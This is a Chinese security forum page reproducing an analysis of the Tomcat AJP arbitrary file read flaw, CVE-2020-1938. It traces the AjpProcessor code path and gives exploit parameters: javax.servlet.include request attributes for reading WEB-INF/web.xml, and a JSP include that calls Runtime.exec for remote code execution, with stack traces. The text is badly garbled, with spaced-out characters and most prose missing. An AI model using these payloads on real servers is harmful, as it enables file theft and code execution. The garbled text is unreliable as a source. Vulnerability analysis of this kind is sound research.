[6518] 2020-02-23_TomcatAJP任意文件读取分析(CVE-2020-1938)

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-17
2020-02-23_TomcatAJP任意文件读取分析(CVE-2020-1938) T o m c a t   A J P C V E - 2 0 2 0 - 1 9 3 8 E   2 0 2 0 - 0 2 - 2 3   l 1 n k 3 r N o . 1 N o . 1 使 N o . 2 N o . 2 2 0 2 0 1 6 C N V D A p a c h e   T o m c a t C N V D - 2 0 2 0 - 1 0 4 8 7 C V E - 2 0 2 0 - 1 9 3 8 N o . 3 N o . 3   A J P     H T T P     S o c k e t     t o m c a t     S o c k e t   S o c k e t P r o c e s s o r B a s e # d o r u n     a j p     s o c k e t     t o m c a t     s o c k e t     s e r v i c e   A J P o r g / a p a c h e / c o y o t e / a j p / A j p P r o c e s s o r # s e r v i c e o r g / a p a c h e / c o y o t e / a j p / A j p P r o c e s s o r # s e r v i c e t h i s . p r e p a r e R e q u e s t ( )   .
p u b l i c   S o c k e t S t a t e   s e r v i c e ( S o c k e t W r a p p e r B a s e < ? >   s o c k e t )   t h r o w s   I O E x c e p t i o n   {           . . .                 w h i l e ( ! t h i s . g e t E r r o r S t a t e ( ) . i s E r r o r ( )   & &   ! t h i s . e n d p o i n t . i s P a u s e d ( ) )   {                                           t r y   {                           . . .                                           i f   ( t h i s . g e t E r r o r S t a t e ( ) . i s I o A l l o w e d ( ) )   {                               r p . s e t S t a g e ( 2 ) ;                                               t r y   {                                                                       t h i s . p r e p a r e R e q u e s t ( ) ;                               }   c a t c h   ( T h r o w a b l e   v a r 1 2 )   {                                       . . .                                   i f   ( t h i s . g e t E r r o r S t a t e ( ) . i s I o A l l o w e d ( ) )   {                                                                             t r y   {                                                 r p . s e t S t a g e ( 3 ) ;                                                                                                                                     t h i s . g e t A d a p t e r ( ) . s e r v i c e ( t h i s . r e q u e s t ,                                                                                                       t h i s . r e s p o n s e ) ;                               }                           . . .       }   p r e p a r e R e q u e s t     w h i l e     t r u e   a t t r i b u t e C o d e   c a s e   1 0   r e q u e s t . s e t A t t r i b u t e ( n ,   v ) P O C j a v a x . s e r v l e t . i n c l u d e . r e q u e s t _ u r i j a v a x . s e r v l e t . i n c l u d e . p a t h _ i n f o j a v a x . s e r v l e t . i n c l u d e . s e r v l e t _ p a t h P U T   p r i v a t e   v o i d   p r e p a r e R e q u e s t ( )   { . . .                 w h i l e ( t r u e )   {                                             b y t e   a t t r i b u t e C o d e ;                                             w h i l e ( ( a t t r i b u t e C o d e   =                                                                                                                     t h i s . r e q u e s t H e a d e r M e s s a g e . g e t B y t e ( ) )   ! =   - 1 )   {                                 s w i t c h ( a t t r i b u t e C o d e )   {                               . . .                                                             c a s e   1 0 :                               . . .                                       }   e l s e   {                                                                                                                                                                           t h i s . r e q u e s t . s e t A t t r i b u t e ( n ,   v ) ;                                       }                                                                           b r e a k ;
  p r e p a r e R e q u e s t   o r g / a p a c h e / c o y o t e / a j p / A j p P r o c e s s o r # s e r v i c e   p r e p a r e R e q u e s t   g e t A d a p t e r ( ) . s e r v i c e ( t h i s . r e q u e s t ,   t h i s . r e s p o n s e ) ;   s e r i v c e     r e q u e s t   r e s p o n s e     o r g / a p a c h e / c a t a l i n a / c o n n e c t o r / C o y o t e A d a p t e r # s e r v i c e     i n v o k e     r e q u e s t     r e s p o n s e   H T T P t o m c a t H T T P   j a v a x / s e r v l e t / h t t p / H t t p S e r v l e t # s e r v i c e     A J P - > H T T P     A J P     H T T P   G E T     d o G e t     s e r v e R e s o u r c e   g e t R e l a t i v e P a t h     r e q u e s t     p a t h     g e t R e l a t i v e P a t h     r e q u e s t _ u r i   p a t h _ i n f o   s e r v l e t _ p a t h   s e r v l e t P a t h   /   / W E B - I N F / w e b . x m l  
  s e r v e R e s o u r c e     g e t R e s o u r c e     p a t h     / W E B - I N F / w e b . x m l   . . /   g e t R e s o u r c e     v a l i d a t e     n o r m a l i z e     A J P     w e b a p p s     / e x a m p l e / 2 . t x t   { ' n a m e ' : ' r e q _ a t t r i b u t e ' , ' v a l u e ' : [ ' j a v a x . s e r v l e t . i n c l u d e . r e q u e s t _ u r i ' , ' / e x a m p l e s ' ] } ,       { ' n a m e ' : ' r e q _ a t t r i b u t e ' , ' v a l u e ' : [ ' j a v a x . s e r v l e t . i n c l u d e . p a t h _ i n f o ' , 2 . t x t ] } ,       { ' n a m e ' : ' r e q _ a t t r i b u t e ' , ' v a l u e ' : [ ' j a v a x . s e r v l e t . i n c l u d e . s e r v l e t _ p a t h ' , ' / ' ] } ,       ] )
s e r v e R e s o u r c e : 8 3 9 ,   D e f a u l t S e r v l e t   ( o r g . a p a c h e . c a t a l i n a . s e r v l e t s ) d o G e t : 5 0 4 ,   D e f a u l t S e r v l e t   ( o r g . a p a c h e . c a t a l i n a . s e r v l e t s ) s e r v i c e : 6 3 4 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) s e r v i c e : 4 8 4 ,   D e f a u l t S e r v l e t   ( o r g . a p a c h e . c a t a l i n a . s e r v l e t s ) s e r v i c e : 7 4 1 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) i n t e r n a l D o F i l t e r : 2 3 1 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 1 6 6 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 5 2 ,   W s F i l t e r   ( o r g . a p a c h e . t o m c a t . w e b s o c k e t . s e r v e r ) i n t e r n a l D o F i l t e r : 1 9 3 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 1 6 6 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 1 9 9 ,   S t a n d a r d W r a p p e r V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 9 6 ,   S t a n d a r d C o n t e x t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 4 9 3 ,   A u t h e n t i c a t o r B a s e   ( o r g . a p a c h e . c a t a l i n a . a u t h e n t i c a t o r ) i n v o k e : 1 3 7 ,   S t a n d a r d H o s t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 8 1 ,   E r r o r R e p o r t V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) i n v o k e : 6 6 0 ,   A b s t r a c t A c c e s s L o g V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) i n v o k e : 8 7 ,   S t a n d a r d E n g i n e V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) s e r v i c e : 3 4 3 ,   C o y o t e A d a p t e r   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) s e r v i c e : 4 7 6 ,   A j p P r o c e s s o r   ( o r g . a p a c h e . c o y o t e . a j p ) p r o c e s s : 6 6 ,   A b s t r a c t P r o c e s s o r L i g h t   ( o r g . a p a c h e . c o y o t e ) p r o c e s s : 8 0 8 ,   A b s t r a c t P r o t o c o l $ C o n n e c t i o n H a n d l e r   ( o r g . a p a c h e . c o y o t e ) d o R u n : 1 4 9 8 ,   N i o E n d p o i n t $ S o c k e t P r o c e s s o r   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) r u n : 4 9 ,   S o c k e t P r o c e s s o r B a s e   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) r u n W o r k e r : 1 1 4 2 ,   T h r e a d P o o l E x e c u t o r   ( j a v a . u t i l . c o n c u r r e n t ) r u n : 6 1 7 ,   T h r e a d P o o l E x e c u t o r $ W o r k e r   ( j a v a . u t i l . c o n c u r r e n t ) r u n : 6 1 ,   T a s k T h r e a d $ W r a p p i n g R u n n a b l e   ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 7 4 5 ,   T h r e a d   ( j a v a . l a n g ) R C E " H T T P / 1 . 1 "   " / 1 . j s p "   1 2 7 . 0 . 0 . 1   l o c a l h o s t   p o r t o   8 0 0 9   f a l s e   " C o o k i e : A A A A = B B B B " " j a v a x . s e r v l e t . i n c l u d e . r e q u e s t _ u r i : / " , " j a v a x . s e r v l e t . i n c l u d e . p a t h _ i n f o : 1 . t x t " , " j a v a x . s e r v l e t . i n c l u d e . s e r v l e t _ p a t h : / u p l o a d / " o r g / a p a c h e / j a s p e r / s e r v l e t / J s p S e r v l e t # s e r v i c e x x x . j s p 访   j s p U r i     s e r v l e t _ p a t h     p a t h _ i n f o   便   s e r v i c e J s p F i l e  
  s e r v i c e J s p F i l e     g e t R e s o u r c e     w r a p p e r   J s p S e r v l e t W r a p p e r # s e r v i c e   R C E     J s p S e r v l e t   访   x x x . j s p     J s p s e r v l e t   p o c 访 / 1 . j s p   A J P   G e t 访 w w w . x x x . c o m / 1 . j s p   J s p S e r v l e t     g e t R e s o u r c e     J s p   R C E R C E
e x e c : 3 4 7 ,   R u n t i m e   ( j a v a . l a n g ) _ j s p S e r v i c e : 1 ,   _ 1 _ t x t   ( o r g . a p a c h e . j s p ) s e r v i c e : 7 0 ,   H t t p J s p B a s e   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) s e r v i c e : 7 4 1 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) s e r v i c e : 4 7 6 ,   J s p S e r v l e t W r a p p e r   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) s e r v i c e J s p F i l e : 3 8 6 ,   J s p S e r v l e t   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) s e r v i c e : 3 3 0 ,   J s p S e r v l e t   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) s e r v i c e : 7 4 1 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) i n t e r n a l D o F i l t e r : 2 3 1 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 1 6 6 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 5 2 ,   W s F i l t e r   ( o r g . a p a c h e . t o m c a t . w e b s o c k e t . s e r v e r ) i n t e r n a l D o F i l t e r : 1 9 3 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) d o F i l t e r : 1 6 6 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 1 9 9 ,   S t a n d a r d W r a p p e r V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 9 6 ,   S t a n d a r d C o n t e x t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 4 9 3 ,   A u t h e n t i c a t o r B a s e   ( o r g . a p a c h e . c a t a l i n a . a u t h e n t i c a t o r ) i n v o k e : 1 3 7 ,   S t a n d a r d H o s t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) i n v o k e : 8 1 ,   E r r o r R e p o r t V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) i n v o k e : 6 6 0 ,   A b s t r a c t A c c e s s L o g V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) i n v o k e : 8 7 ,   S t a n d a r d E n g i n e V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) s e r v i c e : 3 4 3 ,   C o y o t e A d a p t e r   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) s e r v i c e : 4 7 6 ,   A j p P r o c e s s o r   ( o r g . a p a c h e . c o y o t e . a j p ) p r o c e s s : 6 6 ,   A b s t r a c t P r o c e s s o r L i g h t   ( o r g . a p a c h e . c o y o t e ) p r o c e s s : 8 0 8 ,   A b s t r a c t P r o t o c o l $ C o n n e c t i o n H a n d l e r   ( o r g . a p a c h e . c o y o t e ) d o R u n : 1 4 9 8 ,   N i o E n d p o i n t $ S o c k e t P r o c e s s o r   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) r u n : 4 9 ,   S o c k e t P r o c e s s o r B a s e   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) r u n W o r k e r : 1 1 4 2 ,   T h r e a d P o o l E x e c u t o r   ( j a v a . u t i l . c o n c u r r e n t ) r u n : 6 1 7 ,   T h r e a d P o o l E x e c u t o r $ W o r k e r   ( j a v a . u t i l . c o n c u r r e n t ) r u n : 6 1 ,   T a s k T h r e a d $ W r a p p i n g R u n n a b l e   ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 7 4 5 ,   T h r e a d   ( j a v a . l a n g ) j s p d e m o R C E j s p R C E
/ / 1 . j s p < % @   p a g e   l a n g u a g e = " j a v a "   i m p o r t = " j a v a . u t i l . * "   p a g e E n c o d i n g = " U T F - 8 "   % > < % @   i n c l u d e   f i l e = " 1 . t x t "   % > / / 1 . t x t < % @   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " o p e n   / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p " ) ; % > G E T P O C f o r w a r d r e q u e s t   2 A J P 6 ( 0 2 ) G e t T o m c a t   A j p P r o c e s s o r     p r e p a r e R e q u e s t   E   h t t p s : / / w w w . e a s y a q . c o m P N T   使 5 2 使   |   + P N T   - A P T   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则